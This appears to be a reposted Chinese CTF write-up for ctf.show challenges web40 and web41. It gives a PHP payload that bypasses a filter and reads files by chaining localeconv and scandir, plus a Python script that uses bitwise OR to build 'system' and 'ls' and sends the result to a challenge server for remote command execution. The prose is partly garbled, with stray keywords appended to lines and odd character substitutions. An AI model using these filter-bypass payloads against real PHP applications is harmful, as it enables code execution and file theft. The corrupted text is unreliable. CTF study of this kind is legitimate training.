web40php
别看这里过滤了这么多,其实他过滤的括号是中文括号,这里我开始纳闷了很久web
先说一个打印当初路径下文件的函数:print_r(scandir('.'))数组
可是很明显单引号和小数点已通过滤了,这里要先办法绕过php7
最简单的方法是利用函数传参,那就找当前能用包含小数点的函数app
还真有:localeconv() 返回一包含本地数字及货币格式信息的数组ide
格式:函数
那么按找接下来思路就是构造:print_r(scandir(localeconv()[0]))post
可是这个函数是不能localeconv()[0]这样返回的,并且方括号也被过滤了,那么就要用到别的函数url
这里三个函数均可以用3d
所以打印当前目录:print_r(scandir(current(localeconv())));
这里能够的用next()
输出数组中的当前元素的下一个元素的值,也就是能够输出第二个(还有end能够输出最后一个)
可是flag在第三个怎么办?能够用array_reverse函数
这个函数就是将数组转置;
最终payload:highlight_file (next(array_reverse(scandir(current(localeconv())))));
web-41
分析正则,貌似过滤了全部数字和小写字母,后面还有个/i,大写字母也没了
其实看到这种全过滤,反却是只有一种解法,就是构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符
写个脚本
import re import requests url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080" a=[] ans1="" ans2="" for i in range(0,256): c=chr(i) tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I) if(tmp): continue #print(tmp.group(0)) else: a.append(i) # eval("echo($c);"); mya="system" #函数名 这里修改! myb="ls" #参数 def myfun(k,my): global ans1 global ans2 for i in range (0,len(a)): for j in range(i,len(a)): if(a[i]|a[j]==ord(my[k])): ans1+=chr(a[i]) ans2+=chr(a[j]) return; for k in range(0,len(mya)): myfun(k,mya) data1="(\""+ans1+"\"|\""+ans2+"\")" ans1="" ans2="" for k in range(0,len(myb)): myfun(k,myb) data2="(\""+ans1+"\"|\""+ans2+"\")" data={"c":data1+data2} r=requests.post(url=url,data=data) print(r.text)
cat flag.php
这里坑主要是 他执行格式是 (system)(ls)这样,貌似是php7支持的动态函数执行啥的
其余就是注意字符转换,脚本不难写